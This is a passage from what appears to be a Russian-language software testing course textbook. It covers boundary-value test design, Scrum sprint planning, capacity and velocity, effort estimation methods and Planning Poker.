2 класс: 24 часа < время до вылета < 5 суток.
3 класс: 0 часов < время до вылета < 24 час.
4 класс: время до вылета < 0 часов (вылет уже состоялся).
2. Определим границы:
5 суток.
24 часа.
0 часов.
3. Определим, к какому классу относятся границы:
Примечание: На этом шаге был спорный момент, на который нужно обратить

внимание. При составлении задачи я не подумал, какая логика должна быть на самих
границах. Это типичный пример того, как составители требований не задумываются о
границах. И поэтому программист может трактовать их по-своему.
1. 5 суток – ко 2-му классу.

2. 24 часа – к о2-му классу.
3. 0 часов – к 4-му классу.
4. Протестируем значения на границах, до и после них:
1. Отменим бронь за 5 суток + 1 секунду до вылета (или просто постараемся

выполнить бронь как можно ближе к границе, но слева от нее) и проверим, что
комиссия равна 0%.
2. Отменим бронь ровно за 5 суток до вылета и проверим, что комиссия равна 50%.
3. Отменим бронь за 5 суток – 1 секунду до вылета и проверим, что комиссия равна
50%.
4. Отменим бронь за 24 часа + 1 секунду до вылета и проверим, что комиссия равна
50%.
5. Отменим бронь ровно за 24 часа до вылета и проверим, что комиссия равна 50%.
6. Отменим бронь за 24 часа - 1 секунду до вылета и проверим, что комиссия равна
75%.
129
7. Отменим бронь за 1 секунду до вылета и проверим, что комиссия равна 75%.

8. Отменим бронь ровно во время вылета и проверим, что комиссия равна 100%.
9. Отменим бронь спустя 1 секунду после вылета и проверим, что комиссия равна
100%.
Мы получили 9 тестов, по 3 теста на каждую границу.
Если суммировать тесты, необходимые для проверки классов эквивалентности и

граничных значений, получим 4 + 9 =13 тестов.
Плюсы и минусы техники анализа граничных значений
Эта техника добавляет в технику анализа классов эквивалентности

ориентированность на конкретный тип ошибок.
То есть, техника анализа классов эквивалентности просто говорит нам о том, что
нужно разбить все тесты на классы и провести тестирование всех классов. А техника
граничных значений ориентирована на обнаружение конкретной проблемы –
возникновения ошибок на границах классов эквивалентности.
Но, как и для техники анализа классов эквивалентности, эффективность техники

анализа граничных значений зависит от правильности ее использования. Мы должны
приложить усилия, чтобы правильно определить классы эквивалентности и их
границы. Если мы отнесемся к этому поверхностно, то рискуем пропустить ошибки.
130
Лекция 5, ч.2. Планирование
Планирование
Раздел планирования описан на примере планирования спринта для

итерационных моделей разработки.
Планирование Спринта
Задачи, над которыми будет трудиться команда разработки во время спринта,
определяются на планировании спринта. План создается совместными усилиями всей
скрам-команды.
Планирование спринта ограничено по времени. Для спринта длительностью один

месяц планирование не должно занимать более 8 часов. Если спринт короче, то и
планирование проводится быстрее.
Скрам-мастер убеждается, что событие состоялось, а участники понимали его цель.

Скрам-мастер обучает скрам-команду соблюдать временное ограничение.
По результатам планирования спринта скрам-команда решает:
131
каким будет инкремент в конце спринта;
как организовать работу, чтобы получить готовый инкремент продукта.
Тема первая: что будет сделано?
Команда разработки прогнозирует объём функциональности, который будет

разработан в течение спринта. Владелец продукта выносит на обсуждение два важных
вопроса: бизнес-цели, которые должны быть достигнуты в спринте, и элементы
бэклога продукта, необходимые для достижения цели спринта. На основании этих
данных скрам-команда формирует единое понимание о всей работе в спринте.
Для проведения планирования спринта нужны: бэклог продукта, последний инкремент

продукта, прогноз возможностей команды разработки в будущем спринте, статистика
её прошлой производительности. При этом ,только команда разработки определяет
количество элементов бэклога продукта, которые могут быть выполнены в спринте. Ей
же принадлежит исключительное право оценивать объём работ, который по силам
завершить в текущем спринте.
Во время планирования спринта скрам-команда также формирует цель спринта. Цель

спринта служит необходимым ориентиром для реализации элементов бэклога
продукта и помогает команде разработки лучше понять, для чего создается инкремент.
Тема вторая: как будет выполнена работа?
Когда цель спринта определена и выбраны элементы бэклога продукта, команда

разработки решает, как реализовать эту функциональность в виде готового
инкремента продукта в течение спринта. Выбранные элементы бэклога продукта и
план их реализации называют бэклогом спринта.
Составление плана работ в спринте команда разработки обычно начинает с

организации системы и работы, необходимых для трансформации бэклога продукта в
полностью готовый инкремент.
Работа может отличаться объёмом и сложностью, поэтому команда разработки

планирует достаточный объём задач, который, по её мнению, удастся завершить за
предстоящий спринт. Часто к концу планирования спринт команда разработки более
тщательно детализирует работу, которую будет выполнять в первые дни спринта. Для
этого она разделяет работу на более мелкие задачи, обычно, длительностью не более
одного дня.
Команда разработки самоорганизуется как во время спринта, так и во время его

планирования при работе над бэклогом спринта.
132
Владелец продукта помогает прояснить смысл выбранных элементов. Если у команды

разработки набирается слишком много или слишком мало работы, то владелец
продукта может пойти на компромисс. Тогда команда разработки вместе с владельцем
продукта корректируют количество и состав выбранных элементов бэклога продукта
для достижения запланированной цели спринта. Чтобы получить дополнительную
информацию в предметной̆ или технической областях, команда может пригласить
сторонних экспертов для консультации.
К концу планирования спринта команда разработки должна уметь объяснить

владельцу продукта и скрам-мастеру, как она намерена работать в рамках
самоорганизации, чтобы достичь цель спринта и создать ожидаемый инкремент.
Цель Спринта
Цель Спринта – это установленный для спринта ориентир, который достигается через
выполнение части бэклога продукта. Цель спринта формируется во время его
планирования и объясняет команде разработки, для чего создается инкремент.
Цель спринта оставляет команде разработки некоторую гибкость в объёме

функциональности, которую они разрабатывают в рамках спринта. Так выбранные
элементы бэклога продукта могут реализовывать одну связанную функцию, которая
является целью спринта. Или целью спринта может быть любая другая логическая
связь, для достижения которой команда разработки будет работать совместно, а не
разрозненно, над разными задачами.
Цель спринта – это ориентир для команды разработки. Чтобы его достичь, команда
должна использовать технологии и реализовывать функциональность. Если объём
работ становится отличным от ожиданий команды разработки, команда
договаривается с владельцем продукта об объёме бэклога текущего спринта.
ЧТО ТАКОЕ ПЛАНИРОВАНИЕ СПРИНТА?

Планирование спринта - это ограниченная по времени встреча в начале спринта, на
которой команда и владелец продукта (ВП) обсуждают и принимают решение о том,
какая работа будет завершена в спринте.
Как правило, встреча делится на две части: "Что?" и "Как?".
ЧТО?
Владелец продукта приносит с собой список приоритетных пользовательских историй

на встречу. В идеальном случае, производительность команды известна, поэтому ВП
хорошо представляет, сколько работы войдет в cпринт. Идет командное обсуждение и
133
разбивка историй, а затем команда договаривается и фиксирует работу, которая будет

завершена в спринте.
КАК?
Команда обсуждает согласованную работу и план ее завершения.

Пользовательские истории разбиваются на задачи, уточняются технические
детали.
Если команда практикует регулярные встречи по уточнению беклога продукта, то она

уже имеет представление, о чем идет речь в истории.
КАК ЭТО ВЫГЛЯДИТ?
ЧАСТЫЕ ПРОБЛЕМЫ
Владелец продукта сам определяет и решает, какая работа будет завершена.

Беклог продукта не актуален, не приоритезирован или не готов к обсуждению.
В конце планирования все слишком детализировано и вся работа уже
распределена по исполнителям (эту проблему трудно преодолеть).
Никто не понимает, что означает статус "Готово".
Встреча слишком длинная.
Встреча не включает участников в процесс.
Некоторым людям сложно проявляться.
Неподходящая среда, команда не чувствует поддержки или безопасности.
Нет доверия или уважения с обеих сторон.
Команда не понимает, для чего нужна эта встреча.
ПЕРЕД ПЛАНИРОВАНИЕМ СПРИНТА
134
Чек-лист для подготовки к успешному планированию:
Мотивированная команда.
Хороший контакт и доверие между ВП и командой.
Если ВП не доверяет выводам команды, встреча быстро станет упражнением по
избеганию, вместо диалога о работе. Команде важно видеть ценность встречи и
преимущества планирования. Если есть какие-либо сомнения ‒ процесс рухнет.
Встреча проходит в установленное время.
Она не должна быть слишком длинной и утомительной, потому что тогда теряется
ценность.
Проведена подготовительная работа, часто, в формате встреч по уточнению
беклога.
ВП гарантирует, что существует здоровый, поддерживаемый и
приоритезированный беклог.
Истории в верхней части беклога, которые должны входить в следующий спринт,
разбиты на небольшие части, чтобы команда могла их обсудить и запланировать.
Скрам-мастер убедился, что участвуют все члены команды: владелец продукта,
скрам-мастер, разработчики, тестировщики, администратор базы данных -
каждый, кто является частью команды разработчиков. Другие заинтересованные
стороны могут присутствовать только в качестве наблюдателей, не прерывающих
процесс.
Каждый участник должен чувствовать свою ценность на встрече, иметь
возможность поделиться своим видением.
Решения о работе принимаются командно.
Если ВП принимает все решения о работе и ее выполнении, команда будет
чувствовать, что это пустая трата времени.
135
Консенсус по поводу метода оценки и разбивки работы. Story Points или Planning
Poker - команде нужно договориться о методе оценки, чтобы работать
согласованно.
ДЛИТЕЛЬНОСТЬ
Длительность встречи зависит от длины спринта, чем дольше спринт, тем больше
времени нужно для его планирования. Для ориентира:
Однонедельный спринт - 2 часа.

Двухнедельный спринт - 4 часа.
Спринт длинной в 1 месяц - 8 часов.
Длительность также очень зависит от зрелости и эффективности команды и

владельца продукта, от объема предварительной подготовки.
ЦЕЛИ
Задача встречи - сформулировать цель спринта. Ее можно представить в форме

беклога спринта. Беклог спринта - список приоритезированных задач, которые команда
берется завершить до конца спринта. Здесь важно помнить о командных критериях
готовности (Definition of Done).
136
Если Вы представили себе конечный результат спринта, то согласуйте его с

владельцем продукта и Ваш путь станет гораздо проще. Команду очень мотивирует
визуализация и мысленное представление этого результата.
Один из ключевых принципов гибкости - способность принимать изменения. Очевидно,

что меньше всего информации у нас есть в начале проекта, во время работы часто
происходят неожиданные вещи. Поэтому позвольте беклогу меняться в процессе и
будьте готовы уточнять его при необходимости.
СТРУКТУРА ВСТРЕЧИ
Структура встречи нужна в виде предварительного высокоуровневого плана. Пример:

рассказ владельца продукта, команда обсуждает задачи, сессия вопросов и ответов с
ВП, беклог спринта уточнен, ретроспектива и встреча закрыты. Эта практика должна
быть неизменной для каждой встречи, поскольку она поможет команде войти в
хороший режим и получить от нее максимальную отдачу.
Производительность команды:
Достаточно взять среднее последних 3 спринтов, как руководство.

Обсудите часы доступности команды, отпуска, режим работы членов команды.
Помните, что спринты не бывают одинаковыми!
Не пытайтесь быть слишком детальными - это бесполезная трата времени, т.к.
количество неизвестных слишком велико.
Команда все равно согласовывает объем работы.
Оставьте некоторое время для решения пока неизвестных вопросов и проблем.
Так команда получает больше свободы действия.
Проще добавить работу в спринт, если у вас хорошо проработан беклог, чем
убрать ее.
Сотрудничайте, вместе планируйте работу над пользовательскими историями, не

оценивайте объем ресурсов, не пытайтесь слишком оптимизировать или
микроменеджить каждого. Продукты должна делать команда, а не группа людей,
137
работающих над своими задачами.
РАЗБИВКА ЗАДАЧ
Определите критерии готовности (DoD). Это устраняет конфликты и дает

прозрачность процесса. "Готово" должно значить потенциальную поставку
продукта.
Обсудите все задачи, чтобы получить представление о работе и ее выполнении:
создание скриптов, рефакторинг, интеграция кода, тестирование и автоматизация,
исправление багов, техническое обслуживание.
Не слишком привязывайтесь к процессу оценки, ведь это всего лишь
предположение, а не обязательство.
Частая ошибка на этом этапе - хождение кругами.
Не привлекайте отдельных членов команды к ответственности за оценку. Команда
не должна бояться оценивать.
Не стоит сравнивать относительные оценки с фактически затраченным временем
(если нет существенных различий, но тогда это нужно вынести на командную
ретроспективу).
Вся команда владеет беклогом спринта, поэтому не распределяйте задачи по
исполнителям.Если это происходит, тогда одни и те же люди постоянно получают
одну и ту же работу. Это плохо, потому что тогда Вы развиваете «специалистов» в
своей команде, а обмен знаниями и развитие становятся ограниченными.
Совершенно нормально иметь специалистов, пока они обмениваются знаниями с
командой, но нет ничего хуже, чем один человек, который несет знания и
ответственность за конкретную часть кода, а затем он уходит - забирая эти знания
с собой.
Цели спринта достигает вся команда. Поскольку у вас есть список приоритетов, то,
если одна задача выполнена, член команды может предложить помощь другим,
если нужно, или перейти к следующей по приоритету задаче.
Используйте Story Points как способ относительной оценки. Тут Вы сравниваете
задачи по сложности, а не по времени. Разработчику проще сказать «эта задача в
3 раза сложнее, чем та», а не «эта задача займет у меня около 4 дней». Не
138
смешивайте Story Points с часами, тогда люди просто пытаются конвертировать

Story Points во время, а затем Story Points вообще теряют свою ценность.
Согласовывайте размеры ваших задач. Хороши задачи, которые занимают не
более 1 дня. Преимущества согласовывания размеров задач:
разработчикам проще планировать рабочий день;
повышается эффективность, если задачу можно начать и завершить в тот же
день;
небольшие задачи дают более полное представление об объеме работы;
можно сократить "узкие горлышки" процесса;
атомарные задачи можно было делать параллельно. Задачи, зависящие друг
от друга, будут вызывать проблемы и провоцировать "узкие горлышки".
Создавайте только те задачи, которые требуют выполнения: разработка,
тестирование, документация, демо и т. д. Не вносите в них работу владельца
продукта или командные встречи.
Если Вы не уверены в задаче, то создайте “зазор”. Он нужен для проведения
исследования.
Не планируйте 8-часовой рабочий день, даже если команда нанята на это время.
В действительности, команда не работает 8 часов подряд. «Эффективность»
хорошей здоровой команды - около 70% рабочего времени, поэтому стоит
планировать хотя бы 6 часов в день, т.к. в течение дня происходит много всего:
встречи, обеденный перерыв, выяснения деталей с ПО, короткие перерывы.
РАБОЧАЯ СРЕДА
Команде важно чувствовать себя в безопасности, понимать, что нормально не знать

всего прямо сейчас. Agile весь состоит из адаптации, подстройки и обучения. Должно
быть ощущение сотрудничества, поддержки, любопытства и драйва. Команда не
должна бояться задавать вопросы, высказываться. Команде важно чувствовать
уверенность в том, что они действительно могут поставить и какие взять на себя
139
обязательства; и если у них есть какие-то сомнения или возникают риски, отнеситесь к
ним всерьез. Очень важно, что последнее слово о поставке остается за командой, а не
владельцем продукта.
Автономия команды
Я большой сторонник самоорганизующихся автономных команд. Не потому, что ленив
.... А потому, что я видел результаты их работы. Автономные команды эффективны,
потому что они владеют продуктом от начала до конца, они независимо принимают
решения и это способствует росту и мотивации всех участников.
Как скрам-мастер, Вы должны позволить команде ставить собственные цели, обучить

команду, как взять на себя ответственность, помочь им присвоить план и беклог
спринта. Ни в коем случае не сдерживайте команду, помогите им удивляться и
изобретать, чтобы превзойти самих себя. Позвольте им думать и пускай в комнате
время от времени воцаряется тишина.
Активное слушание
В начале встречи особенно важно вовлечь команду в рассказ ВП, когда он объясняет и
рассказывает о приоритетах. Хорошо, если команда активно слушает и задает
вопросы на этом этапе.
Взаимное уважение
Я говорил о важности доверия, но уважение не менее важно. Я упомянул, что
владелец продукта должен иметь доверие в команде, и важно, чтобы оно было
взаимным. Команда должна уважать ВП и доверять решениям, которые он принимает.
Это тот человек, который приоритезирует их работу, им важно знать, что их работа
имеет ценность и хорошо продумана.
ВП отвечает за «почему» и команда должна позволить ему сосредоточиться на этом.

ВП отвечает за управление заинтересованными сторонами и представляет голос
бизнеса.
Команда ответственна за «как», ВП слушает и, возможно, делится мнением, но никоим
образом не диктует команде, как выполнять задачи, это их работа и они в этом профи.
С обеих сторон нужно взаимное уважение и четкое определение ролей для каждого.
Вопросы
140
Не успокаивайтесь, если команда не задает никаких вопросов. Если вопросов нет, то

кажется, что есть полное понимание, но такое бывает крайне редко. Вы можете
договориться, что каждый должен задать хотя бы один вопрос. Обычно, когда
возникает один вопрос, за ним появляются и другие.
Процесс
Если Вы используете физическую Kanban доску, предложите команде самостоятельно
выписать свои стикеры, повесить их на доску и расставить приоритеты, опять же, это
хороший способ развивать самоорганизацию. Используйте время встречи для
обновления своего инструмента, будь то физическая Kanban доска, Jira или TFS. Во-
первых, каждый сможет увидеть план, согласиться на него и начать работу. Во-вторых,
хорошо, когда каждый понимает процесс. Тогда, если скрам-мастер болен, то члену
команды несложно подменить его.
ЗАВЕРШЕНИЕ ВСТРЕЧИ
Планирование спринта ограничено во времени, заканчивайте его вовремя. Даже если

фактически планирование еще не закончено, важно начать работу, продолжение
встречи не поможет завершить пользовательские истории. Совершенно нормально не
знать всех деталей, это развивает гибкость!
Иногда команде необходима смелость сказать «Ок, этого достаточно, мы не знаем

всех деталей, но будем изучать оставшиеся и приспосабливаться по пути». Быть
гибким - значит экспериментировать, изобретать, и старт работы дает команде шанс
сделать это!
В конце встречи возьмите несколько минут, чтобы снова подумать о том, что
получилось хорошо, чего не было в предыдущем спринте и убедитесь, что забираете
удачные практики с собой, а все плохое не повторится. Это позволяет бросить
последний взгляд на запланированную работу и начать свое путешествие.
141
Capacity
Capacity прогноз - количество идеальных часов, доступное в следующем спринте.
Понимание, сколько часов у нас есть на работу: на написание кода, тестирование,

т.д.
Как правило, участник проекта работает не более пяти часов в день.
Эффективное распределение задач.
Нет смысла планировать задачи на тех, кто будет в отпуске или занят другими
активностями.
Мало пользы принесет технический анализ задачи, выполненный участником

проекта, который в следующем спринте будет отсутствовать.
Аккуратное и точное планирование.
Мы оцениваем задачи в часах и берем в спринт столько, сколько соответствует

нашей capacity.
Velocity Scrum
Если представить себе движение автомобиля, то скорость в нем оценивается по
спидометру и тогда всё предельно ясно. Однако, в жизни в целом и в каком-то
конкретном деле нет спидометра и как оценить скорость объективно - вопрос. Если
представить, что на автомобиле сломался спидометр, то скорость может быть оценена
постфактум, то есть, когда человек будет ехать 60 минут и проедет, например, 100 км,
затем опять пройдет 60 минут, но проедет 120 км, он будет видеть с какой скоростью
он двигался – около 110 км/ч. При этом, если во время следующих 60 минут он
остановится и потратит на заправку 12 минут, на обед 15 минут и проедет 55 км, то
средняя скоростьза весь путь составит – 98 км/ч.
142
Как и в движении на автомобиле, скорость можно измерять и в Scrum, и называется

это Velocity (скорость). Расчет Scrum Velocity очень простой и также состоит из
поставленных отметок, как через каждые 60 минут было какое-то количество
километров.
Для примера, предоставим график Velocity, отображающий по горизонтальной оси

количество Sprints, а по вертикальной - Story Points.
143
В таком графике, по сути, изображено Story Points и на основе этих показателей

выстраивается среднее значение скорости. Однако, график Velocity может быть и
иной, с простым отображением Story Points, на основе которых визуально видна
тенденция.
144
Если быть кратким в сравнении с движением по дороги, то список ассоциаций,

влияющих на скорость, может быть такой:
Дорога - она же препятствия.

Топливо - мотивация, что движет нами.
Опыт водителя - знание / опыт / компетенция разработчик.
Условия для автомобилей - DEV среда.
Видимость - прозрачность проекта.
Направление - цели проекта.
Трафик / правила вождения - процессы.
Пункт назначения – продукт.
Хочется, однако, отметить, что по поводу метрики Velocity в Scrum ходят споры, и кто-
то считает данные графики не очень полезными и сложными в определении
возможных проблем, да и самого разгона. В целом, все сходятся во мнении, что
Velocity должен использоваться специалистом, как дополнительное наглядное
отображение эффективности, которое как калька накладывается на другие данные,
помогая скорректировать аналитическую работу Scrum Master.
Трудозатраты - количество рабочего времени, необходимого для выполнения работы

(выражается в человеко-часах).
Перед выполнением каждого задания, возникают следующие вопросы:
145
Как много времени понадобится на выполнение работы?
Когда всё будет готово?
Можно ли гарантированно выполнить работу к такому-то сроку?
Каковы наиболее оптимистичный и пессимистичный прогнозы по времени?
Оценка трудозатрат
Любая оценка лучше её отсутствия. Даже если область предстоящей работы для
Вас совершенно нова, даже если Вы ошибётесь в своей оценке на порядок, Вы
как минимум получите опыт, который сможете использовать в будущем при
возникновении подобного рода задач.
Оптимизм губителен. Как правило, люди склонны недооценивать сложность

незнакомых задач, что приводит к занижению оценки трудозатрат. Но, даже при
достаточно точном определении самих трудозатрат, люди без опыта выполнения
оценки склонны рассматривать предстоящую работу как некую изолированную
деятельность, забывая о том, что на протяжении любого рабочего дня «чистую
производительность труда» будут снижать такие факторы, как переписка по почте,
участие в собраниях и обсуждениях, решение сопутствующих технических
вопросов, изучение документации и обдумывание сложных частей задачи, форс-
мажорные обстоятельства (неотложные дела, проблемы с техникой и т.д.). Таким
образом, обязательно стоит учитывать, что в реальности Вы сможете заниматься
поставленной задачей не 100 % рабочего времени, а меньше (насколько меньше
— зависит от конкретной ситуации, в среднем, принято считать, что на
поставленную задачу из каждых восьми рабочих часов Вы сможете потратить не
более шести). Учитывая этот факт, стоит сделать соответствующие поправки в
оценке общего времени, которое понадобится на выполнение работы (а именно
оно чаще всего интересует постановщика задачи).
Оценка должна быть аргументирована. Это не значит, что Вы всегда должны

пускаться в подробные пояснения, но Вы должны быть готовы объяснить, почему
Вы считаете, что та или иная работа займёт именно столько времени. Во-первых,
продумывая эти аргументы, Вы получаете дополнительную возможность лучше
оценить предстоящую работу и скорректировать оценку. Во-вторых, если Ваша
оценка не соответствует ожиданиям постановщика задачи, Вы сможете отстоять
свою точку зрения.
146
Простой способ научиться оценивать — оценивать. В специализированной

литературе приводится множество технологий, но первична сама привычка
выполнять оценку предстоящей работы. В процессе выработки этой привычки Вы,
естественным образом, встретитесь с большинством типичных проблем и, через
некоторое время, научитесь делать соответствующие поправки в оценке даже не
задумываясь. Что оценивать? Что угодно: Сколько времени у Вас уйдёт на
прочтение новой книги? За сколько времени Вы доедете домой новым
маршрутом? За сколько времени Вы напишете курсовую или дипломную работу? -
и так далее. Не важно, что именно Вы оцениваете, важно, что Вы повторяете это
раз за разом, учитывая накапливающийся опыт.
Алгоритм обучения формированию оценки:

Сформируйте оценку. Ранее уже было отмечено, что нет ничего страшного в том,
что полученное значение может оказаться очень далёким от реальности. Для
начала, оно просто должно быть.
Запишите полученную оценку. Обязательно именно запишите. Это застрахует Вас

как минимум от двух рисков: забыть полученное значение (особенно, если работа
заняла много времени), соврать себе в стиле «ну, я как-то примерно так и думал».
Выполните работу. В отдельных случаях, люди склонны подстраиваться под

заранее сформированную оценку, ускоряя или замедляя выполнение работы —
это тоже полезный навык, но сейчас такое поведение будет мешать.
Однако, если Вы будете тренироваться на десятках и сотнях различных задач, Вы
физически не сможете «подстроиться» под каждую из них и начнёте получать
реальные результаты.
Сверьте реальные результаты с ранее сформированной оценкой.
Учтите ошибки при формировании новых оценок. На этом этапе очень полезно не
просто отметить отклонение, а подумать, что привело к его появлению.
Повторяйте этот алгоритм как можно чаще для самых различных областей жизни.
Сейчас цена Ваших ошибок крайне мала, а наработанный опыт от этого
становится ничуть не менее ценным.
Полезные идеи по формированию оценки трудозатрат:
147
Добавляйте небольшой «буфер» (по времени, бюджету или иным критическим

ресурсам) на непредвиденные обстоятельства. Чем более дальний прогноз Вы
строите, тем большим может быть этот «буфер» — от 5–10 % до 30-40 %. Но ни в
коем случае не стоит осознанно завышать оценку в разы.
Выясните свой «коэффициент искажения»: большинство людей, в силу

особенности своего мышления, склонны постоянно или занижать, или завышать
оценку. Многократно формируя оценку трудозатрат и сравнивая её впоследствии с
реальностью, Вы можете заметить определённую закономерность, которую
вполне можно выразить числом. Например, может оказаться, что Вы склонны
занижать оценку в 1.3 раза. Попробуйте в следующий раз внести
соответствующую поправку.
Принимайте во внимание не зависящие от Вас обстоятельства. Например, Вы

точно уверены, что выполните тестирование очередного билда за N человеко-
часов, Вы учли все отвлекающие факторы и т.д. и решили, что точно закончите к
такой-то дате. А потом, в реальности, выпуск билда задерживается на два дня, и
Ваш прогноз по моменту завершения работы оказывается нереалистичным.
Задумывайтесь заранее о необходимых ресурсах. Так, например, необходимую

инфраструктуру можно (и нужно!) подготовить (или заказать) заранее, т.к. на
подобные вспомогательные задачи может быть потрачено много времени, к тому
же, основная работа часто не может быть начата, пока не будут завершены все
приготовления.
Ищите способы организовать параллельное выполнение задач. Даже если Вы

работаете один, всё равно какие-то задачи можно и нужно выполнять
параллельно (например, уточнение тест-плана, пока происходит разворачивание
виртуальных машин). В случае если работа выполняется несколькими людьми,
распараллеливание работы можно считать жизненной необходимостью.
Периодически сверяйтесь с планом, вносите корректировки в оценку и

уведомляйте заинтересованных лиц о внесённых изменениях заблаговременно.
Например, Вы поняли (как в упомянутом выше примере с задержкой билда), что
завершите работу, как минимум, на два дня позже. Если Вы оповестите проектную
команду немедленно, у Ваших коллег появляется шанс скорректировать свои
собственные планы. Если же Вы в «час икс» преподнесёте сюрприз о сдвигах
срока на два дня, то создадите коллегам объективную проблему.
Используйте инструментальные средства — от электронных календарей до

возможностей вашей систем управления проектом: это позволит Вам как минимум
не держать в памяти кучу мелочей, а как максимум — повысит точность
формируемой оценки.
148
Оценка с использованием структурной декомпозиции

Структурная декомпозиция - иерархическая декомпозиция объёмных задач на всё
более и более малые подзадачи с целью упрощения оценки, планирования и
мониторинга выполнения работы.
В процессе выполнения структурной декомпозиции большие задачи делятся на всё

более и более мелкие подзадачи, что позволяет:
описать весь объём работ с точностью, достаточной для чёткого понимания сути
задач, формирования достаточно точной оценки трудозатрат и выработки
показателей достижения результатов.
определить весь объём трудозатрат как сумму трудозатрат по отдельным задачам
(с учётом необходимых поправок).
от интуитивного представления перейти к конкретному перечню отдельных
действий, что упрощает построение плана, принятие решений о
распараллеливании работ и т.д.
Если абстрагироваться от научного подхода и формул, то суть такой оценки сводится к

следующим шагам:
декомпозиции требований до уровня, на котором появляется возможность

создания качественных чек-листов;
декомпозиции задач по тестированию каждого пункта чек-листа до уровня
«тестировощных действий» (создание тест-кейсов, выполнение тест-кейсов,
создание отчётов о дефектах и т.д.);
выполнению оценки с учётом собственной производительности.
Оценка трудозатрат (помимо получения данных непосредственно о необходимом

количестве персонала для тестирования) также позволяет определить:
Приблизительную стоимость проведения тестирования.

Сроки тестирования.
Примерный график работ.
Существуют различные методы для проведения оценки. Некоторые из которых более

серьезны в применении и требуют использования специальных математических
расчетов, но часть из методов также является более простыми и может даже
неосознанно применятся в планировании.
Метод «пальцем в небо»
149
Характеризуется тем, что оценивание осуществляется с учётом некоторого прошлого

опыта или же и вовсе без такового на основании предположений и догадок. Является
полностью неточным и содержит значительный процент погрешности.
Экспертная оценка
Название метода полностью отображает его суть в том, что оценка осуществляется на
основании работы с предыдущими проектами либо же для работы привлекаются
эксперты определённой области или специалисты, знакомые с тестируемым
Специальный метод
Оценивание трудозатрат осуществляется на основании предполагаемых временных

рамках. Учитывая, что при таком подходе не берутся во внимание даже предыдущий
опыт, погрешность достаточно велика.
Структура декомпозиции работ
Расчет количества заданий, выполнение которых ожидается от команды на этапе

тестирования, осуществляется на декомпозиции проекта на определённые логические
более мелкие части (например: модули –-> подмодули —> функциональности). И уже
после проведения декомпозиции оценивается объем работ каждой небольшой части
проекта.
Например, протестировать авторизацию. Буква «о» не проходит – можно сходу сказать

5 мин для себя. Это минимальная единица. Такое может определить даже человек,
который работает всего пару месяцев. Плюс в таком методе – Вам сложнее что-то
забыть.
Метод Дельфи
150
Основывается на том же методе декомпозиции работ, что и Структура декомпозиции

работ с тем дополнением, что ожидаемые к выполнению задания распределяются на
каждого отдельного члена команды, который самостоятельно оценивает временные
затраты на их выполнение.
Данный метод характеризуется значительной точностью.
Метод определения трудозатрат в процентном отношении к разработке
Оценка основывается на предположении, что трудозатраты на тестирование являются

прямо пропорциональными от таковых на разработку.
Метод процентного распределения
Использование метода исходит из того, что все этапы разработки программного

продукта выражаются через процентное значение трудозатрат для каждого отдельно
этапа. При этом, непосредственно этап тестирования также делится на его
составляющие (планирование, проектирование тестов, выполнение тестов, анализ
результатов), каждому из которого присваивается свой процент трудозатрат.
При осуществлении оценки трудозатрат принимаются во внимание также следующие

факторы:
Уровень мастерства команды в целом.

Наличие и качество проектной документации.
Применение автоматизации.
Используемые инструменты и средства при тестировании.
151
Обратите внимание на диаграмму: здесь приведена статистика для сайтов от полугода

– года. Программирование занимает от 20% до 40% разработки, это не тоже самое,
что 20-40% от проекта, а это, в среднем, 15% от проекта. Тестирование никогда не
занимает 15% от продукта. Если у вас не закладывают столько время для
тестирования, то закладывайте хоть сколько-нибудь. Желательно, выясните
статистически, какой процент от проекта занимает тестирование и это применимо,
если у Вас стабильные версии релизов, постоянный объем продуктов один и тот же.
Planning Poker (Scrum Poker)

Planning Poker или Scrum Poker, пожалуй ,одно из важнейших мероприятий в
методологии Scrum или любой гибкой технологии разработки. Практически всегда
перед командой встает вопрос: как оценить эту задачу?
Оценка трудозатрат будет влиять на целую цепочку зависимостей. От сложности

работы зависит количество баллов, начисляемых в рейтинг, сроки сдачи заказа и
количество денег, которые должен будет заплатить заказчик. Пожалуй, каждый из
членов Scrum Team может оценить ту или иную задачу лучше других, особенно, если
она лежит в области его профессиональной деятельности. Сама методология Scrum, в
выполнении той или иной работы, уводит нас из области личной ответственности в
область коллективной. Логично при этом считать, что и оценивать ту или иную задачу,
за которую несет ответственность вся команда, должна вся Scrum Team. Более того,
такой подход поможет более точно определить реальные сроки, которые конкретный
человек может себе искусственно завысить по разным причинам.
Что собой представляют карты для Planning Poker / Scrum Poker
На самом деле, таких вариантов карт очень много и каждый может придумывать свои,
например, означающие количество дней на разработку.
Есть несколько вариантов карт, которые пользуются большой популярностью.
1 вид популярной колоды для Planning Poker:
Карточки представляют собой последовательность чисел Фибоначчи: 0, 1, 2, 3, 5, 8, 13,

21, 34, 55, 89.
2 вид популярной колоды для Planning Poker:
Данный вид имеет следующие значения: 0, ?, 1, 2, 3, 5, 8, 13, 20, 40, 100, «?», «Чашка
кофе». Знак вопроса означает, что «игрок» не понял до конца смысл обсуждаемого или
не обладает достаточно информацией, чтобы оценить её. Чашка кофе, в свою
очередь, означает: «Я устал, давайте передохнем».
152
Как проходит Scrum Poker / Planning Poker
Один человек является ведущим и он не участвует в «игре». На обсуждение выносятся

поочередно пункты, которые необходимо оценить. Каждый пункт позволено обсудить и
провести обзор без оценочных данных. После этого каждый член команды выбирает
карточку и кладет её рубашкой вверх. После того, как все положили карты – они
вскрываются. Идеальным состоянием считается, если разброса в значениях
практически нет. Как можно догадаться, такое бывает не всегда. Так или иначе в
выброшенных картах будут наименьшие и наибольшие значения. Людям,
выбросившим такие карточки, дают слово и они высказывают свое мнение, почему
оценка была именно такой. Это позволяет получить больше информации всей
остальной команде и задуматься, услышав доводы, либо объяснить выбросившим
высокие или низкие позиции свою точку зрения.
После этого карты выбрасываются снова и обычно разрыв уже сокращается, однако,
если этого не произошло, то цикл повторяется. В данном случае, рекомендуется
ввести таймер на цикл и поставить ограничения по циклам, но, в большинстве
случаев, после третьего раза показатели примерно одинаковые. Если имеются
небольшие расхождения, то в приоритете показатель человека, который
непосредственно будет в разработке этой задачи.
Основные проблемы в использовании Planning Poker
Как и любая методология или технология должна иметь четкие инструкции в

использовании, так и Planning Poker имеет четкие предписания, которые не позволяют
делать ошибки и сводить на нет внедрение этого усовершенствования рабочего
процесса.
Эффект привязки в Scrum Poker
Главной проблемой всегда был эффект привязки, который может проявлять себя по-
разному. Главной ошибкой, вызывающей этот эффект, является открытое обсуждение
оценок. Если тот, кто начинает обсуждение, говорит примерно следующее: «Я считаю,
что данное задание займет 18 часов разработки», то, так или иначе, все будут
